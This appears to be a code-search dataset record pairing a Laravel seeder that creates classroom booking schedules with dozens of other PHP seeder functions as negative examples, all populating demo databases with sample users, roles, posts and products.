public function run() { Jadwal::truncate(); $pemesann=[1,2,3,4,5,6,7,8,9,10]; $kelass=[1,2,3,4,5,6,7,8,9,10]; $pemesan=array_rand($pemesann); $kelas=array_rand($kelass); Jadwal::create([ "pemesan"=>$pemesann[array_rand($pemesann)], "mulai"=>"12:00:00", "selesai"=>"13:00:00", "tanggal"=>date("Y-m-d"), "keperluan"=>'belajar', "id_kelas"=>$kelass[array_rand($kelass)], ]); Jadwal::create([ "pemesan"=>'1', "mulai"=>"14:00:00", "selesai"=>"15:00:00", "tanggal"=>date("Y-m-d"), "keperluan"=>'nyusun rencana demo', "id_kelas"=>$kelass[array_rand($kelass)], ]); Jadwal::create([ "pemesan"=>'1', "mulai"=>"10:00:00", "selesai"=>"11:00:00", "tanggal"=>date("Y-m-d"), "keperluan"=>'belajar politik', "id_kelas"=>$kelass[array_rand($kelass)], ]); Jadwal::create([ "pemesan"=>'1', "mulai"=>"10:00:00", "selesai"=>"11:00:00", "tanggal"=>"2019-08-04", "keperluan"=>'sedeng dot gen', "id_kelas"=>$kelass[array_rand($kelass)], ]); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function run()\n {\n // $this->call(UserTableSeeder::class);\n // $this->call(PostTableSeeder::class);\n // $this->call(TagTableSeeder::class);\n // $this->call(PostTagTableSeeder::class);\n\n /*AB - use faker to populate table see file ModelFactory.php */\n factory(App\\Editeur::class, 40) ->create();\n factory(App\\Auteur::class, 40) ->create();\n factory(App\\Livre::class, 80) ->create();\n\n for ($i = 1; $i < 41; $i++) {\n $number = rand(2, 8);\n for ($j = 1; $j <= $number; $j++) {\n DB::table('auteur_livre')->insert([\n 'livre_id' => rand(1, 40),\n 'auteur_id' => $i\n ]);\n }\n }\n }", "public function run()\n {\n DB::statement('SET FOREIGN_KEY_CHECKS=0;');\n // Let's truncate our existing records to start from scratch.\n Assignation::truncate();\n\n $faker = \\Faker\\Factory::create();\n \n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 40; $i++) {\n Assignation::create([\n 'ad_id' => $faker->numberBetween(1,20),\n 'buyer_id' => $faker->numberBetween(1,6),\n 'seller_id' => $faker->numberBetween(6,11),\n 'state' => NULL,\n ]);\n }\n\n DB::statement('SET FOREIGN_KEY_CHECKS=1;');\n }", "public function run()\n {\n \t$faker = Faker::create();\n\n \tfor($i=0; $i<20; $i++) {\n \t\t$post = new Post;\n \t\t$post->title = $faker->sentence();\n \t\t$post->body = $faker->paragraph();\n \t\t$post->category_id = rand(1, 5);\n \t\t$post->save();\n \t}\n\n \t$list = ['General', 'Technology', 'News', 'Internet', 'Mobile'];\n \tforeach($list as $name) {\n \t\t$category = new Category;\n \t\t$category->name = $name;\n \t\t$category->save();\n \t}\n\n \tfor($i=0; $i<20; $i++) {\n \t\t$comment = new Comment;\n \t\t$comment->comment = $faker->paragraph();\n \t\t$comment->post_id = rand(1,20);\n \t\t$comment->save();\n \t}\n // $this->call(UsersTableSeeder::class);\n }", "public function run()\n {\n $this->call(RoleTableSeeder::class);\n $this->call(UserTableSeeder::class);\n \n factory('App\\Cat', 5)->create();\n $tags = factory('App\\Tag', 8)->create();\n\n factory(Post::class, 15)->create()->each(function($post) use ($tags){\n $post->comments()->save(factory(Comment::class)->make());\n $post->tags()->attach( $tags->random(mt_rand(1,4))->pluck('id')->toArray() );\n });\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::table('post')->insert(\n [\n 'title' => 'Test Post1',\n 'desc' => str_random(100).\" post1\",\n 'alias' => 'test1',\n 'keywords' => 'test1',\n ]\n );\n DB::table('post')->insert(\n [\n 'title' => 'Test Post2',\n 'desc' => str_random(100).\" post2\",\n 'alias' => 'test2',\n 'keywords' => 'test2',\n ]\n );\n DB::table('post')->insert(\n [\n 'title' => 'Test Post3',\n 'desc' => str_random(100).\" post3\",\n 'alias' => 'test3',\n 'keywords' => 'test3',\n ]\n );\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n \t$faker = Factory::create();\n \t\n \tforeach ($this->departments as $key => $department) {\n \t\tDepartment::create([\n \t\t\t'name' => $department\n \t\t]);\n \t}\n \tforeach ($this->collections as $key => $collection) {\n \t\tCollection::create([\n \t\t\t'name' => $collection\n \t\t]);\n \t}\n \t\n \t\n \tfor ($i=0; $i < 40; $i++) {\n \t\tUser::create([\n \t\t\t'name' \t=>\t$faker->name,\n \t\t\t'email' \t=>\t$faker->email,\n \t\t\t'password' \t=>\tbcrypt('123456'),\n \t\t]);\n \t} \n \t\n \t\n \tforeach ($this->departments as $key => $department) {\n \t\t//echo ($key + 1) . PHP_EOL;\n \t\t\n \t\tfor ($i=0; $i < 10; $i++) { \n \t\t\techo $faker->name . PHP_EOL;\n\n \t\t\tArt::create([\n \t\t\t\t'name'\t\t\t=> $faker->sentence(2),\n \t\t\t\t'img'\t\t\t=> $this->filenames[$i],\n \t\t\t\t'medium'\t\t=> 'canvas',\n \t\t\t\t'department_id'\t=> $key + 1,\n \t\t\t\t'user_id'\t\t=> $this->userIndex,\n \t\t\t\t'dimension'\t\t=> '18.0 x 24.0',\n\t\t\t\t]);\n \t\t\t\t\n \t\t\t\t$this->userIndex ++;\n \t\t}\n \t}\n \t\n \tdd(\"END\");\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n // $this->dataCategory();\n factory(App\\Model\\Category::class, 70)->create();\n factory(App\\Model\\Producer::class, rand(5,10))->create();\n factory(App\\Model\\Provider::class, rand(5,10))->create();\n factory(App\\Model\\Product::class, 100)->create();\n factory(App\\Model\\Album::class, 300)->create();\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n\n factory('App\\User', 10 )->create();\n\n $users= \\App\\User::all();\n $users->each(function($user){ factory('App\\Category', 1)->create(['user_id'=>$user->id]); });\n $users->each(function($user){ factory('App\\Tag', 3)->create(['user_id'=>$user->id]); });\n\n\n $users->each(function($user){\n factory('App\\Post', 10)->create([\n 'user_id'=>$user->id,\n 'category_id'=>rand(1,20)\n ]\n );\n });\n\n $posts= \\App\\Post::all();\n $posts->each(function ($post){\n\n $post->tags()->attach(array_unique([rand(1,20),rand(1,20),rand(1,20)]));\n });\n\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n $types = factory(\\App\\Models\\Type::class, 5)->create();\n\n $cities = factory(\\App\\Models\\City::class, 10)->create();\n\n $cities->each(function ($city) {\n $districts = factory(\\App\\Models\\District::class, rand(2, 5))->create([\n 'city_id' => $city->id,\n ]);\n\n $districts->each(function ($district) {\n $properties = factory(\\App\\Models\\Property::class, rand(2, 5))->create([\n 'type_id' => rand(1, 5),\n 'district_id' => $district->id\n ]);\n\n $properties->each(function ($property) {\n $galleries = factory(\\App\\Models\\Gallery::class, rand(3, 10))->create([\n 'property_id' => $property->id\n ]);\n });\n });\n });\n }", "public function run()\n {\n $this->call(UsersTableSeeder::class);\n\n $categories = factory(App\\Models\\Category::class, 10)->create();\n\n $categories->each(function ($category) {\n $category\n ->posts()\n ->saveMany(\n factory(App\\Models\\Post::class, 3)->make()\n );\n });\n }", "public function run()\n {\n $this->call(CategoriesTableSeeder::class);\n\n $users = factory(App\\User::class, 5)->create();\n $recipes = factory(App\\Recipe::class, 30)->create();\n $preparations = factory(App\\Preparation::class, 70)->create();\n $photos = factory(App\\Photo::class, 90)->create();\n $comments = factory(App\\Comment::class, 200)->create();\n $flavours = factory(App\\Flavour::class, 25)->create();\n $flavour_recipe = factory(App\\FlavourRecipe::class, 50)->create();\n $tags = factory(App\\Tag::class, 25)->create();\n $recipe_tag = factory(App\\RecipeTag::class, 50)->create();\n $ingredients = factory(App\\Ingredient::class, 25)->create();\n $ingredient_preparation = factory(App\\IngredientPreparation::class, 300)->create();\n \n \n \n DB::table('users')->insert(['name' => 'SimpleUtilisateur', 'email' => '[email protected]', 'password' => bcrypt('SimpleMotDePasse')]);\n \n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::statement('SET FOREIGN_KEY_CHECKS = 0');\n\n // Sample::truncate();\n // TestItem::truncate();\n // UOM::truncate();\n Role::truncate();\n User::truncate();\n\n // factory(Role::class, 4)->create();\n Role::create([\n 'name'=> 'Director',\n 'description'=> 'Director type'\n ]);\n\n Role::create([\n 'name'=> 'Admin',\n 'description'=> 'Admin type'\n ]);\n Role::create([\n 'name'=> 'Employee',\n 'description'=> 'Employee type'\n ]);\n Role::create([\n 'name'=> 'Technician',\n 'description'=> 'Technician type'\n ]);\n \n factory(User::class, 20)->create()->each(\n function ($user){\n $roles = \\App\\Role::all()->random(mt_rand(1, 2))->pluck('id');\n $user->roles()->attach($roles);\n }\n );\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n UsersLevel::create([\n 'name' => 'Administrator'\n ]);\n\n UsersLevel::create([\n 'name' => 'User'\n ]);\n\n User::create([\n 'username' => 'admin',\n 'password' => bcrypt('admin123'),\n 'level_id' => 1,\n 'fullname' => \"Super Admin\",\n 'email'=> \"[email protected]\"\n ]);\n\n\n \\App\\CategoryPosts::create([\n 'name' =>'Paket Trip'\n ]);\n\n \\App\\CategoryPosts::create([\n 'name' =>'Destinasi Kuliner'\n ]);\n\n \\App\\CategoryPosts::create([\n 'name' => 'Event'\n ]);\n\n \\App\\CategoryPosts::create([\n 'name' => 'Profil'\n ]);\n }", "public function run()\n {\n DB::table('users')->insert([\n 'name' => 'Admin',\n 'email' => '[email protected]',\n 'avatar' => \"avatar\",\n 'password' => '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi',\n ]);\n $this->call(CategorySeeder::class);\n // \\App\\Models\\Admin::factory(1)->create();\n \\App\\Models\\User::factory(10)->create();\n // \\App\\Models\\Category::factory(50)->create();\n \\App\\Models\\PetComment::factory(50)->create();\n $pets = \\App\\Models\\Pet::factory(50)->create();\n foreach ($pets as $pet) {\n \\App\\Models\\PetTag::factory(1)->create(['pet_id' => $pet->id]);\n \\App\\Models\\PetPhotoUrl::factory(1)->create(['pet_id' => $pet->id]);\n \\App\\Models\\Order::factory(1)->create(['pet_id' => $pet->id]);\n };\n }", "public function run()\n { \n\n $this->call(RoleSeeder::class);\n \n $this->call(UserSeeder::class);\n\n Storage::deleteDirectory('socials-icon');\n Storage::makeDirectory('socials-icon');\n $socials = Social::factory(7)->create();\n\n Storage::deleteDirectory('countries-flag');\n Storage::deleteDirectory('countries-firm');\n Storage::makeDirectory('countries-flag');\n Storage::makeDirectory('countries-firm');\n $countries = Country::factory(18)->create();\n\n // Se llenan datos de la tabla muchos a muchos - social_country\n foreach ($countries as $country) {\n foreach ($socials as $social) {\n\n $country->socials()->attach($social->id, [\n 'link' => 'https://www.facebook.com/ministeriopalabrayespiritu/'\n ]);\n }\n }\n\n Person::factory(50)->create();\n\n Category::factory(7)->create();\n\n Video::factory(25)->create(); \n\n $this->call(PostSeeder::class);\n\n Storage::deleteDirectory('documents');\n Storage::makeDirectory('documents');\n Document::factory(25)->create();\n\n }", "public function run()\n {\n $faker = Faker::create('id_ID');\n /**\n * Generate fake author data\n */\n for ($i=1; $i<=50; $i++) { \n DB::table('author')->insert([\n 'name' => $faker->name\n ]);\n }\n /**\n * Generate fake publisher data\n */\n for ($i=1; $i<=50; $i++) { \n DB::table('publisher')->insert([\n 'name' => $faker->name\n ]);\n }\n /**\n * Seeding payment method\n */\n DB::table('payment')->insert([\n ['name' => 'Mandiri'],\n ['name' => 'BCA'],\n ['name' => 'BRI'],\n ['name' => 'BNI'],\n ['name' => 'Pos Indonesia'],\n ['name' => 'BTN'],\n ['name' => 'Indomaret'],\n ['name' => 'Alfamart'],\n ['name' => 'OVO'],\n ['name' => 'Cash On Delivery']\n ]);\n }", "public function run()\n {\n DatabaseSeeder::seedLearningStylesProbs();\n DatabaseSeeder::seedCampusProbs();\n DatabaseSeeder::seedGenderProbs();\n DatabaseSeeder::seedTypeStudentProbs();\n DatabaseSeeder::seedTypeProfessorProbs();\n DatabaseSeeder::seedNetworkProbs();\n }", "public function run()\n {\n // Let's truncate our existing records to start from scratch.\n // MyList::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 3; $i++) {\n MyList::create([\n 'title' => 'List-'.($i+1),\n 'color' => $faker->sentence,\n 'icon' => $faker->randomDigitNotNull,\n 'index' => $faker->randomDigitNotNull,\n 'user_id' => 1,\n ]);\n }\n }", "public function run()\n {\n // Let's truncate our existing records to start from scratch.\n Products::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few products in our database:\n for ($i = 0; $i < 50; $i++) {\n Products::create([\n 'name' => $faker->word,\n 'sku' => $faker->randomNumber(7, false),\n ]);\n }\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n User::create([\n 'name' => 'Pablo Rosales',\n 'email' => '[email protected]',\n 'password' => bcrypt('admin'),\n 'status' => 1,\n 'role_id' => 1,\n 'movil' => 0\n ]);\n\n User::create([\n 'name' => 'Usuario Movil',\n 'email' => '[email protected]',\n 'password' => bcrypt('secret'),\n 'status' => 1,\n 'role_id' => 3,\n 'movil' => 1\n ]);\n\n Roles::create([\n 'name' => 'Administrador'\n ]);\n Roles::create([\n 'name' => 'Operaciones'\n ]);\n Roles::create([\n 'name' => 'Comercial'\n ]);\n Roles::create([\n 'name' => 'Aseguramiento'\n ]);\n Roles::create([\n 'name' => 'Facturación'\n ]);\n Roles::create([\n 'name' => 'Creditos y Cobros'\n ]);\n\n factory(App\\Customers::class, 100)->create();\n }", "public function run()\n {\n // php artisan db:seed --class=StoreTableSeeder\n\n foreach(range(1,20) as $i){\n $faker = Faker::create();\n Store::create([\n 'name' => $faker->name,\n 'desc' => $faker->text,\n 'tags' => $faker->word,\n 'address' => $faker->address,\n 'longitude' => $faker->longitude($min = -180, $max = 180),\n 'latitude' => $faker->latitude($min = -90, $max = 90),\n 'created_by' => '1'\n ]);\n }\n\n }", "public function run()\n {\n DB::table('users')->insert([\n 'name'=>\"test\",\n 'password' => Hash::make('123'),\n 'email'=>'[email protected]'\n ]);\n DB::table('tags')->insert(['name'=>'tags']);\n $this->call(UserSeed::class);\n $this->call(CategoriesSeed::class);\n $this->call(TopicsSeed::class);\n $this->call(CommentariesSeed::class);\n // $this->call(UsersTableSeeder::class);\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n echo 'seeding permission...', PHP_EOL;\n $permissions = [\n 'role-list',\n 'role-create',\n 'role-edit',\n 'role-delete',\n 'formation-list',\n 'formation-create',\n 'formation-edit',\n 'formation-delete',\n 'user-list',\n 'user-create',\n 'user-edit',\n 'user-delete'\n ];\n foreach ($permissions as $permission) {\n Permission::create(['name' => $permission]);\n }\n echo 'seeding users...', PHP_EOL;\n\n $user= User::create(\n [\n 'name' => 'Mr. admin',\n 'email' => '[email protected]',\n 'password' => bcrypt('admin'),\n 'remember_token' => null,\n ]\n );\n echo 'Create Roles...', PHP_EOL;\n Role::create(['name' => 'former']);\n Role::create(['name' => 'learner']);\n Role::create(['name' => 'admin']);\n Role::create(['name' => 'manager']);\n Role::create(['name' => 'user']);\n\n echo 'seeding Role User...', PHP_EOL;\n $user->assignRole('admin');\n $role = $user->assignRole('admin');\n $role->givepermissionTo(Permission::all());\n\n \\DB::table('languages')->insert(['name' => 'English', 'code' => 'en']);\n \\DB::table('languages')->insert(['name' => 'Français', 'code' => 'fr']);\n }", "public function run()\n {\n $this->call(UsersTableSeeder::class);\n $this->call(PermissionsSeeder::class);\n $this->call(RolesSeeder::class);\n $this->call(ThemeSeeder::class);\n\n //\n\n DB::table('paypal_info')->insert([\n 'client_id' => '',\n 'client_secret' => '',\n 'currency' => '',\n ]);\n DB::table('contact_us')->insert([\n 'content' => '',\n ]);\n DB::table('setting')->insert([\n 'site_name' => ' ',\n ]);\n DB::table('terms_and_conditions')->insert(['terms_and_condition' => 'text']);\n }", "public function run()\n {\n $this->call([\n UserSeeder::class,\n ]);\n\n User::factory(20)->create();\n Author::factory(20)->create();\n Book::factory(60)->create();\n }", "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n $this->call(UserSeeder::class);\n $this->call(RolePermissionSeeder::class);\n $this->call(AppmodeSeeder::class);\n\n // \\App\\Models\\Appmode::factory(3)->create();\n \\App\\Models\\Doctor::factory(100)->create();\n \\App\\Models\\Unit::factory(50)->create();\n \\App\\Models\\Broker::factory(100)->create();\n \\App\\Models\\Patient::factory(100)->create();\n \\App\\Models\\Expence::factory(100)->create();\n \\App\\Models\\Testcategory::factory(100)->create();\n \\App\\Models\\Test::factory(50)->create();\n \\App\\Models\\Parameter::factory(50)->create();\n \\App\\Models\\Sale::factory(50)->create();\n \\App\\Models\\SaleItem::factory(100)->create();\n \\App\\Models\\Goption::factory(1)->create();\n \\App\\Models\\Pararesult::factory(50)->create();\n\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n // DB::table('roles')->insert(\n // [\n // ['name' => 'admin', 'description' => 'Administrator'],\n // ['name' => 'student', 'description' => 'Student'],\n // ['name' => 'lab_tech', 'description' => 'Lab Tech'],\n // ['name' => 'it_staff', 'description' => 'IT Staff Member'],\n // ['name' => 'it_manager', 'description' => 'IT Manager'],\n // ['name' => 'lab_manager', 'description' => 'Lab Manager'],\n // ]\n // );\n\n // DB::table('users')->insert(\n // [\n // 'username' => 'admin', \n // 'password' => Hash::make('password'), \n // 'active' => 1,\n // 'name' => 'Administrator',\n // 'email' => '[email protected]',\n // 'role_id' => \\App\\Role::where('name', 'admin')->first()->id\n // ]\n // );\n\n DB::table('status')->insert([\n // ['name' => 'Active'],\n // ['name' => 'Cancel'],\n // ['name' => 'Disable'],\n // ['name' => 'Open'],\n // ['name' => 'Closed'],\n // ['name' => 'Resolved'],\n ['name' => 'Used'],\n ]);\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n\n factory(User::class)->create([\n 'name' => 'Qwerty',\n 'email' => '[email protected]',\n 'password' => bcrypt('secretpassw'),\n ]);\n\n factory(User::class, 59)->create([\n 'password' => bcrypt('secretpassw'),\n ]);\n\n for ($i = 1; $i < 11; $i++) {\n factory(Category::class)->create([\n 'name' => 'Category ' . $i,\n ]);\n }\n\n for ($i = 1; $i < 101; $i++) {\n factory(Product::class)->create([\n 'name' => 'Product ' . $i,\n ]);\n }\n }", "public function run()\n {\n\n \t// Making main admin role\n \tDB::table('roles')->insert([\n 'name' => 'Admin',\n ]);\n\n // Making main category\n \tDB::table('categories')->insert([\n 'name' => 'Other',\n ]);\n\n \t// Making main admin account for testing\n \tDB::table('users')->insert([\n 'name' \t\t=> 'Admin',\n 'email' \t=> '[email protected]',\n 'password' => bcrypt('12345'),\n 'role_id' => 1,\n 'created_at' => date('Y-m-d H:i:s' ,time()),\n 'updated_at' => date('Y-m-d H:i:s' ,time())\n ]);\n\n \t// Making random users and posts\n factory(App\\User::class, 10)->create();\n factory(App\\Post::class, 35)->create();\n }", "public function run()\n {\n $faker = Faker::create();\n\n \\DB::table('positions')->insert(array (\n 'codigo' => strtoupper($faker->randomLetter).$faker->postcode,\n 'nombre' => 'Chef',\n 'salario' => '15000.00'\n ));\n\n\t\t \\DB::table('positions')->insert(array (\n 'codigo' => strtoupper($faker->randomLetter).$faker->postcode,\n 'nombre' => 'Mesonero',\n 'salario' => '12000.00'\n ));\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n $faker = \\Faker\\Factory::create();\n\n foreach (range(1,5) as $index) {\n Lista::create([\n 'name' => $faker->sentence(2),\n 'description' => $faker->sentence(10), \n ]);\n } \n\n foreach (range(1,20) as $index) {\n $n = $faker->sentence(2);\n \tTarea::create([\n \t\t'name' => $n,\n \t\t'description' => $faker->sentence(10),\n 'lista_id' => $faker->numberBetween(1,5),\n 'slug' => Str::slug($n),\n \t\t]);\n } \n }", "public function run()\n {\n $faker = Faker::create('lt_LT');\n\n DB::table('users')->insert([\n 'name' => 'user',\n 'email' => '[email protected]',\n 'password' => Hash::make('123')\n ]);\n DB::table('users')->insert([\n 'name' => 'user2',\n 'email' => '[email protected]',\n 'password' => Hash::make('123')\n ]);\n\n foreach (range(1,100) as $val)\n DB::table('authors')->insert([\n 'name' => $faker->firstName(),\n 'surname' => $faker->lastName(),\n \n ]);\n }", "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n $this->call(UsersTableSeeder::class);\n\n // DB::table('users')->insert([\n // 'name' => 'User1',\n // 'email' => '[email protected]',\n // 'password' => bcrypt('password'),\n // ]);\n\n\n $faker = Faker::create();\n \n foreach (range(1,10) as $index){\n DB::table('companies')->insert([\n 'name' => $faker->company(),\n 'email' => $faker->email(10).'@gmail.com',\n 'logo' => $faker->image($dir = '/tmp', $width = 640, $height = 480),\n 'webiste' => $faker->domainName(),\n \n ]);\n }\n \n \n foreach (range(1,10) as $index){\n DB::table('employees')->insert([\n 'first_name' => $faker->firstName(),\n 'last_name' => $faker->lastName(),\n 'company' => $faker->company(),\n 'email' => $faker->str_random(10).'@gmail.com',\n 'phone' => $faker->e164PhoneNumber(),\n \n ]);\n }\n\n\n\n }", "public function run()\n {\n DB::statement('SET FOREIGN_KEY_CHECKS=0;');\n Flight::truncate();\n\n $faker = \\Faker\\Factory::create();\n\n // And now, let's create a few articles in our database:\n for ($i = 0; $i < 100; $i++) {\n\n\n Flight::create([\n 'flightNumber' => $faker->randomNumber(5),\n 'depAirport' => $faker->city,\n 'destAirport' => $faker->city,\n 'reservedWeight' => $faker->numberBetween(1000 - 10000),\n 'deptTime' => $faker->dateTime('now'),\n 'arrivalTime' => $faker->dateTime('now'),\n 'reservedVolume' => $faker->numberBetween(1000 - 10000),\n 'airlineName' => $faker->colorName,\n ]);\n }\n DB::statement('SET FOREIGN_KEY_CHECKS=1;');\n }", "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n $this->truncteTables([\n 'users',\n 'products'\n ]);\n\n $this->call(UsersSeeder::class);\n $this->call(ProductsSeeder::class);\n\n }", "public function run()\n {\n /**\n * Dummy seeds\n */\n DB::table('metas')->truncate();\n $faker = Faker::create();\n\n for ($i=0; $i < 10; $i++) { \n DB::table('metas')->insert([\n 'id_rel' => $faker->randomNumber(),\n 'titulo' => $faker->sentence,\n 'descricao' => $faker->paragraph,\n 'justificativa' => $faker->paragraph,\n 'valor_inicial' => $faker->numberBetween(0,100),\n 'valor_atual' => $faker->numberBetween(0,100),\n 'valor_final' => $faker->numberBetween(0,10),\n 'regras' => json_encode([$i => [\"values\" => $faker->words(3)]]),\n 'types' => json_encode([$i => [\"values\" => $faker->words(2)]]),\n 'categorias' => json_encode([$i => [\"values\" => $faker->words(4)]]),\n 'tags' => json_encode([$i => [\"values\" => $faker->words(5)]]),\n 'active' => true,\n ]);\n }\n\n\n }", "public function run()\n {\n // $this->call(UserTableSeeder::class);\n\n $faker = Faker::create();\n\n $lessonIds = Lesson::lists('id')->all(); // An array of ID's in that table [1, 2, 3, 4, 5, 7]\n $tagIds = Tag::lists('id')->all();\n\n foreach(range(1, 30) as $index)\n {\n // a real lesson id\n // a real tag id\n DB::table('lesson_tag')->insert([\n 'lesson_id' => $faker->randomElement($lessonIds),\n 'tag_id' => $faker->randomElement($tagIds),\n ]);\n }\n }", "public function run()\n {\n $this->call(CategoriasTableSeeder::class);\n $this->call(UfsTableSeeder::class);\n $this->call(UsersTableSeeder::class);\n $this->call(UserTiposTableSeeder::class);\n factory(App\\User::class, 2)->create();\n/* factory(App\\Models\\Categoria::class, 20)->create();*/\n/* factory(App\\Models\\Anuncio::class, 50)->create();*/\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n DB::statement('SET FOREIGN_KEY_CHECKS = 0');\n\n Language::truncate();\n Reason::truncate();\n Report::truncate();\n Category::truncate();\n Position::truncate();\n\n $languageQuantity = 10;\n $reasonQuantity = 10;\n $reportQuantity = 10;\n $categoryQuantity = 10;\n $positionQuantity = 10;\n\n factory(Language::class,$languageQuantity)->create();\n factory(Reason::class,$reasonQuantity)->create();\n \n factory(Report::class,$reportQuantity)->create();\n \n factory(Category::class,$categoryQuantity)->create();\n \n factory(Position::class,$positionQuantity)->create();\n\n }", "public function run()\n {\n // \\DB::statement('SET_FOREIGN_KEY_CHECKS=0');\n \\DB::table('users')->truncate();\n \\DB::table('posts')->truncate();\n // \\DB::table('category')->truncate();\n \\DB::table('photos')->truncate();\n \\DB::table('comments')->truncate();\n \\DB::table('comment_replies')->truncate();\n\n \\App\\Models\\User::factory()->times(10)->hasPosts(1)->create();\n \\App\\Models\\Role::factory()->times(10)->create();\n \\App\\Models\\Category::factory()->times(10)->create();\n \\App\\Models\\Comment::factory()->times(10)->hasReplies(1)->create();\n \\App\\Models\\Photo::factory()->times(10)->create();\n\n \n // \\App\\Models\\User::factory(10)->create([\n // 'role_id'=>2,\n // 'is_active'=>1\n // ]);\n\n // factory(App\\Models\\Post::class, 10)->create();\n // $this->call(UsersTableSeeder::class);\n }", "public function run()\n {\n $this->call([\n ArticleSeeder::class, \n TagSeeder::class,\n Arttagrel::class\n ]);\n // \\App\\Models\\User::factory(10)->create();\n \\App\\Models\\Article::factory()->count(7)->create();\n \\App\\Models\\Tag::factory()->count(15)->create(); \n \\App\\Models\\Arttagrel::factory()->count(15)->create(); \n }", "public function run()\n {\n $this->call(ArticulosTableSeeder::class);\n /*DB::table('articulos')->insert([\n 'titulo' => str_random(50),\n 'cuerpo' => str_random(200),\n ]);*/\n }", "public function run()\n {\n $this->call(CategoryTableSeeder::class);\n $this->call(ProductTableSeeder::class);\n\n \t\t\n\t\t\tDB::table('users')->insert([\n 'first_name' => 'Ignacio',\n 'last_name' => 'Garcia',\n 'email' => '[email protected]',\n 'password' => bcrypt('123456'),\n 'role' => '1',\n 'avatar' => 'CGnABxNYYn8N23RWlvTTP6C2nRjOLTf8IJcbLqRP.jpeg',\n ]);\n }", "public function run()\n {\n // \\App\\Models\\User::factory(10)->create();\n $this->call(RoleSeeder::class);\n $this->call(UserSeeder::class);\n\n Medicamento::factory(50)->create();\n Reporte::factory(5)->create();\n Cliente::factory(200)->create();\n Asigna_valor::factory(200)->create();\n Carga::factory(200)->create();\n }", "public function run()\n {\n $this->call([\n RoleSeeder::class,\n TicketSeeder::class\n ]);\n\n DB::table('departments')->insert([\n 'abbr' => 'IT',\n 'name' => 'Information Technologies',\n 'created_at' => Carbon::now(),\n 'updated_at' => Carbon::now(),\n ]);\n\n DB::table('users')->insert([\n 'name' => 'admin',\n 'email' => '[email protected]',\n 'email_verified_at' => Carbon::now(),\n 'password' => Hash::make('admin'),\n 'department_id' => 1,\n 'avatar' => 'default.png',\n 'created_at' => Carbon::now(),\n 'updated_at' => Carbon::now(),\n ]);\n\n DB::table('role_user')->insert([\n 'role_id' => 1,\n 'user_id' => 1\n ]);\n }", "public function run()\n {\n \\App\\Models\\Article::factory(20)->create();\n \\App\\Models\\Category::factory(5)->create();\n \\App\\Models\\Comment::factory(40)->create();\n\n \\App\\Models\\User::create([\n \"name\"=>\"Alice\",\n \"email\"=>'[email protected]',\n 'password' => Hash::make('password'),\n ]);\n \\App\\Models\\User::create([\n \"name\"=>\"Bob\",\n \"email\"=>'[email protected]',\n 'password' => Hash::make('password'),\n ]);\n }", "public function run()\n {\n /** \n * Note: You must add these lines to your .env file for this Seeder to work (replace the values, obviously):\n SEEDER_USER_FIRST_NAME = 'Firstname'\n SEEDER_USER_LAST_NAME = 'Lastname'\n\t\tSEEDER_USER_DISPLAY_NAME = 'Firstname Lastname'\n\t\tSEEDER_USER_EMAIL = [email protected]\n SEEDER_USER_PASSWORD = yourpassword\n */\n\t\tDB::table('users')->insert([\n 'user_first_name' => env('SEEDER_USER_FIRST_NAME'),\n 'user_last_name' => env('SEEDER_USER_LAST_NAME'),\n 'user_name' => env('SEEDER_USER_DISPLAY_NAME'),\n\t\t\t'user_email' => env('SEEDER_USER_EMAIL'),\n 'user_status' => 1,\n \t'password' => Hash::make((env('SEEDER_USER_PASSWORD'))),\n 'permission_fk' => 1,\n 'created_at' => Carbon::now()->format('Y-m-d H:i:s'),\n 'updated_at' => Carbon::now()->format('Y-m-d H:i:s')\n ]);\n }", "public function run()\n {\n // $this->call(UsersTableSeeder::class);\n factory(App\\User::class,3)->create()->each(\n \tfunction($user)\n \t{\n \t\t$user->questions()\n \t\t->saveMany(\n \t\t\tfactory(App\\Question::class, rand(2,6))->make()\n \t\t)\n ->each(function ($q) {\n $q->answers()->saveMany(factory(App\\Answer::class, rand(1,5))->make());\n })\n \t}\n );\n }\n}", "public function run()\n {\n $faker = Faker::create();\n\n // $this->call(UsersTableSeeder::class);\n\n DB::table('posts')->insert([\n 'id'=>str_random(1),\n 'user_id'=> str_random(1),\n 'title' => $faker->name,\n 'body' => $faker->safeEmail,\n 'created_at' => date('Y-m-d H:i:s'),\n 'updated_at' => date('Y-m-d H:i:s'),\n ]);\n }", "public function run()\n\t{\n\t\tDB::table(self::TABLE_NAME)->delete();\n\n\t\tforeach (seed(self::TABLE_NAME) as $row)\n\t\t\t$records[] = [\n\t\t\t\t'id'\t\t\t\t=> $row->id,\n\t\t\t\t'created_at'\t\t=> $row->created_at ?? Carbon::now(),\n\t\t\t\t'updated_at'\t\t=> $row->updated_at ?? Carbon::now(),\n\n\t\t\t\t'sport_id'\t\t\t=> $row->sport_id,\n\t\t\t\t'gender_id'\t\t\t=> $row->gender_id,\n\t\t\t\t'tournamenttype_id'\t=> $row->tournamenttype_id ?? null,\n\n\t\t\t\t'name'\t\t\t\t=> $row->name,\n\t\t\t\t'external_id'\t\t=> $row->external_id ?? null,\n\t\t\t\t'is_top'\t\t\t=> $row->is_top ?? null,\n\t\t\t\t'logo'\t\t\t\t=> $row->logo ?? 